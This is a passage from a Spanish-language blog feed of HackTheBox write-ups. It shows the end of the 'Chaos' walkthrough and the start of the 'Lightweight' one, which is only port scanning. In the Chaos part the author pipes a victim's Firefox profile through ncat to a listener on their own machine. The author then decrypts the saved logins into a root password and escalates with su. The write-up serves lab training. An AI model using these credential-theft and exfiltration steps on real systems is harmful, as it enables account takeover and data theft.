</span></span><span style="display:flex;"><span>drwx------ 4 ayush ayush 4096 Oct 15  2018 .
</span></span><span style="display:flex;"><span>drwx------ 4 ayush ayush 4096 Sep 29  2018 ..
</span></span><span style="display:flex;"><span>drwx------ 2 root  root  4096 Sep 29  2018 events
</span></span><span style="display:flex;"><span>-rw------- 1 root  root    10 Sep 29  2018 InstallTime20180326230345
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root  root  4096 Oct 25  2018 pending
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.mozilla/firefox/Crash Reports/events&#39;: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&#39;./.mozilla/firefox/Crash Reports/pending&#39;:
</span></span><span style="display:flex;"><span>total 2704
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root  root     4096 Oct 25  2018 .
</span></span><span style="display:flex;"><span>drwx------ 4 ayush ayush    4096 Oct 15  2018 ..
</span></span><span style="display:flex;"><span>-rw------- 1 root  root   919576 Oct 15  2018 1e2e493c-1aef-e727-52fdaccf-6a5db42b-browser.dmp
</span></span><span style="display:flex;"><span>-rw------- 1 root  root   404352 Oct 15  2018 1e2e493c-1aef-e727-52fdaccf-6a5db42b.dmp
</span></span><span style="display:flex;"><span>-rw------- 1 root  root     5414 Oct 15  2018 1e2e493c-1aef-e727-52fdaccf-6a5db42b.extra
</span></span><span style="display:flex;"><span>-rw------- 1 root  root  1001112 Oct 25  2018 2a28d0d2-415e-203f-25015edd-362ac19e-browser.dmp
</span></span><span style="display:flex;"><span>-rw------- 1 root  root   411576 Oct 25  2018 2a28d0d2-415e-203f-25015edd-362ac19e.dmp
</span></span><span style="display:flex;"><span>-rw------- 1 root  root     5184 Oct 25  2018 2a28d0d2-415e-203f-25015edd-362ac19e.extra
</span></span></code></pre></div><p>Básicamente tenemos tres directorios interesantes en $home, el primero es <code>.mozila</code>, el segundo es <code>.gnupg</code> y finalmente <code>.mail</code>. El primero es el más interesante porque hasta donde he podido resolver maquinas en HTB, casi nunca hay rastros de aplicaciones de escritorio.</p>
<p>Me lleve este directorio fuera para poderlo trabajar mas comodamente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ayush@chaos:~$ tar cvz ./.mozilla/firefox/bzo7sjt1.default/ | ncat --send-only 10.10.14.12 4001
</span></span><span style="display:flex;"><span>&lt;o7sjt1.default/ | ncat --send-only 10.10.14.12 4001
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cookies.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/places.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/webappsstore.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/permissions.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/sessionstore-backups/
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/sessionstore-backups/recovery.js: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/sessionstore-backups/upgrade.js-20180326230345: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/sessionstore-backups/previous.js: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/sessionstore-backups/recovery.bak: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/bookmarkbackups/
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/bookmarkbackups/bookmarks-2018-09-29_23_KNEJR-waZJZwUVshUNhFqg==.jsonlz4: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/bookmarkbackups/bookmarks-2018-10-27_24_0UTpOFh1V6tsL2fi6cyvng==.jsonlz4: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cookies.sqlite-wal
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/formhistory.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/webappsstore.sqlite-shm
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cert_override.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/gmp/
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/gmp/Linux_x86_64-gcc3: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/blocklist.xml
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cookies.sqlite-shm
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/search.json.mozlz4
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/AlternateServices.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/content-prefs.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cert9.db
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/temporary/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/.metadata-v2
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/idb/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.files/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/.metadata
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/.metadata-v2
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/idb/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.files/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/.metadata
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/datareporting/
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/datareporting/session-state.json: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/datareporting/state.json: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/datareporting/archived: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/datareporting/aborted-session-ping: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/pkcs11.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/logins.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/extensions.ini
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/compatibility.ini
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/minidumps/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/blocklist-gfx.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/.parentlock
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/sessionCheckpoints.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/prefs.js
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/addons.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/xulstore.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/revocations.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/extensions.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/places.sqlite-shm
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/key4.db
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/crashes/
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/crashes/events: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/crashes/store.json.mozlz4: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/pluginreg.dat
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/places.sqlite-wal
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/webappsstore.sqlite-wal
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/blocklist-plugins.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/kinto.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/times.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/saved-telemetry-pings/
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/saved-telemetry-pings/f153dbe5-b2e1-46ad-bb38-d0d2e22ab3fe: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/saved-telemetry-pings/dc2f3e22-3710-4da9-9d30-c01f0885a480: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>tar: ./.mozilla/firefox/bzo7sjt1.default/saved-telemetry-pings/b35e9f24-a4a9-4683-b4ec-1fdaf3533a7a: Cannot open: Permission denied
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/mimeTypes.rdf
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/containers.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/SecurityPreloadState.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/SiteSecurityServiceState.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/blocklist-addons.json
</span></span><span style="display:flex;"><span>tar: Exiting with failure status due to previous errors
</span></span><span style="display:flex;"><span>ayush@chaos:~$
</span></span></code></pre></div><p>A pesar de los problemas de permisos, ya el material importante del profile esta fuera.</p>
<p>Antes de ejecutar el comando anterior, ejecute lo mio en el listener:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ mkdir firefox
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ cd firefox/
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos/firefox$ ncat -l -p 4001 | tar xvz
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cookies.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/places.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/webappsstore.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/permissions.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/sessionstore-backups/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/bookmarkbackups/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cookies.sqlite-wal
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/formhistory.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/webappsstore.sqlite-shm
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cert_override.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/gmp/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/blocklist.xml
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cookies.sqlite-shm
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/search.json.mozlz4
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/AlternateServices.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/content-prefs.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/cert9.db
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/temporary/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/.metadata-v2
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/idb/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.files/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/.metadata
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/.metadata-v2
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/idb/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.files/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/.metadata
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/datareporting/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/pkcs11.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/logins.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/extensions.ini
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/compatibility.ini
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/minidumps/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/blocklist-gfx.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/.parentlock
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/sessionCheckpoints.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/prefs.js
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/addons.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/xulstore.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/revocations.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/extensions.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/places.sqlite-shm
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/key4.db
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/crashes/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/pluginreg.dat
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/places.sqlite-wal
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/webappsstore.sqlite-wal
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/blocklist-plugins.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/kinto.sqlite
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/times.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/saved-telemetry-pings/
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/mimeTypes.rdf
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/containers.json
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/SecurityPreloadState.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/SiteSecurityServiceState.txt
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/blocklist-addons.json
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos/firefox$
</span></span></code></pre></div><p>Esta información fue un poco como plana, tenemos en general cosas del sitio <a href="https://www.google.com">www.google.com</a>, hasta que me percate que también teníamos un registro de chaos.htb:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos/firefox/.mozilla/firefox/bzo7sjt1.default$ find . -type f -exec grep &#39;chaos.htb&#39; {} \;
</span></span><span style="display:flex;"><span>chaos.htb:10000	OID.2.16.840.1.101.3.4.2.1	C3:99:F8:77:6B:9F:0E:54:D4:29:FC:99:1D:1E:AB:C6:4E:2D:80:41:08:37:5E:B5:3B:87:BA:44:80:2C:88:CE	MU	AAAAAAAAAAAAAAAJAAAATQDbHfGdsjNmrTBLMSIwIAYDVQQKDBlXZWJtaW4gV2Vic2VydmVyIG9uIGNoYW9zMQowCAYDVQQDDAEqMRkwFwYJKoZIhvcNAQkBFgpyb290QGNoYW9z
</span></span><span style="display:flex;"><span>Coincidencia en el fichero binario ./places.sqlite
</span></span><span style="display:flex;"><span>{&#34;nextId&#34;:3,&#34;logins&#34;:[{&#34;id&#34;:2,&#34;hostname&#34;:&#34;https://chaos.htb:10000&#34;,&#34;httpRealm&#34;:null,&#34;formSubmitURL&#34;:&#34;https://chaos.htb:10000&#34;,&#34;usernameField&#34;:&#34;user&#34;,&#34;passwordField&#34;:&#34;pass&#34;,&#34;encryptedUsername&#34;:&#34;MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==&#34;,&#34;encryptedPassword&#34;:&#34;MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb&#34;,&#34;guid&#34;:&#34;{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}&#34;,&#34;encType&#34;:1,&#34;timeCreated&#34;:1540642202692,&#34;timeLastUsed&#34;:1540642202692,&#34;timePasswordChanged&#34;:1540642202692,&#34;timesUsed&#34;:1}],&#34;disabledHosts&#34;:[],&#34;version&#34;:2}
</span></span></code></pre></div><p>Como podemos ver se trata de una contraseña para el sitio webmin al que no pudimos acceder antes. Para descifrar la contraseña necesitamos utilizar otra herramienta, la cual encontramos en github:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/firefox_decrypt$ python firefox_decrypt.py /home/xbytemx/htb/chaos/firefox/.mozilla/firefox/bzo7sjt1.default/
</span></span><span style="display:flex;"><span>2019-04-27 02:38:12,107 - WARNING - profile.ini not found in /home/xbytemx/htb/chaos/firefox/.mozilla/firefox/bzo7sjt1.default/
</span></span><span style="display:flex;"><span>2019-04-27 02:38:12,107 - WARNING - Continuing and assuming &#39;/home/xbytemx/htb/chaos/firefox/.mozilla/firefox/bzo7sjt1.default/&#39; is a profile location
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Master Password for profile /home/xbytemx/htb/chaos/firefox/.mozilla/firefox/bzo7sjt1.default/:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Website:   https://chaos.htb:10000
</span></span><span style="display:flex;"><span>Username: &#39;root&#39;
</span></span><span style="display:flex;"><span>Password: &#39;Thiv8wrej~&#39;
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/git/firefox_decrypt$
</span></span></code></pre></div><p>Llegar hasta aquí para regresar a una aplicación no parecía lo mas obvio después de identificar las credenciales de <em>ayush</em> como user de app y sistema operativo, así que probé las credenciales de root:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ayush@chaos:~$ su - root
</span></span><span style="display:flex;"><span>su - root
</span></span><span style="display:flex;"><span>Password: Thiv8wrej~
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@chaos:~#
</span></span></code></pre></div><p>Y&hellip; somos root.</p>
<h1 id="cat-roottxt">cat root.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@chaos:~# cat root.txt
</span></span></code></pre></div><p>&hellip; We got root and user flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Lightweight</title><link>https://www.xbyte.mx/posts/htb_writeup_-_lightweight/</link><pubDate>Fri, 10 May 2019 01:32:41 -0500</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_lightweight/</guid><description>&lt;p&gt;Esta maquina ha resultado mas divertida de lo esperado. Me gusta revisar paquetes de trafico y entender como es que los protocolos funcionan. En lo general a lo especifico, el enjaulado me gusto mucho, la forma de analizar la app y posteriormente interceptarla también y la escalación se me hizo de lo mas real en cuanto a errores de los admin se refiere.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Esta maquina ha resultado mas divertida de lo esperado. Me gusta revisar paquetes de trafico y entender como es que los protocolos funcionan. En lo general a lo especifico, el enjaulado me gusto mucho, la forma de analizar la app y posteriormente interceptarla también y la escalación se me hizo de lo mas real en cuanto a errores de los admin se refiere.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/6069dc9efc05cdf7ef0011efd817da9c_thumb.png" alt="lightweight image"> <a href="https://www.hackthebox.eu/home/machines/profile/166">lightweight</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/13340">0xEA31</a></td>
          <td>Linux</td>
          <td>10.10.10.119</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-lightweight/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~#  nmap -sS -p- --open -v -n 10.10.10.119
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-23 22:42 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 22:42
</span></span><span style="display:flex;"><span>Scanning 10.10.10.119 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 22:42, 0.44s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 22:42
</span></span><span style="display:flex;"><span>Scanning 10.10.10.119 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.119
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.119
</span></span><span style="display:flex;"><span>Discovered open port 389/tcp on 10.10.10.119
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 22:54, 771.75s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.119
</span></span><span style="display:flex;"><span>Host is up (0.21s latency).
</span></span><span style="display:flex;"><span>Not shown: 65532 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp  open  ssh
</span></span><span style="display:flex;"><span>80/tcp  open  http
</span></span><span style="display:flex;"><span>389/tcp open  ldap
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 772.33 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 261790 (11.519MB) | Rcvd: 786 (56.296KB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Continuemos con el doblecheck usando <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.119
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-15 06:33:48 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.119
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.119
</span></span><span style="display:flex;"><span>Discovered open port 389/tcp on 10.10.10.119
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN</li>
</ul>
<p>Como podemos ver, los puertos corresponden entre si, por lo que continuamos con la enumeración de servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sC -sV -p80,22,389 -n -v --open 10.10.10.119
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 22:45 CDT
</span></span><span style="display:flex;"><span>NSE: Loaded 148 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 22:45
</span></span><span style="display:flex;"><span>Completed NSE at 22:45, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 22:45
</span></span><span style="display:flex;"><span>Completed NSE at 22:45, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 22:45
</span></span><span style="display:flex;"><span>Scanning 10.10.10.119 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 22:45, 1.87s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 22:45
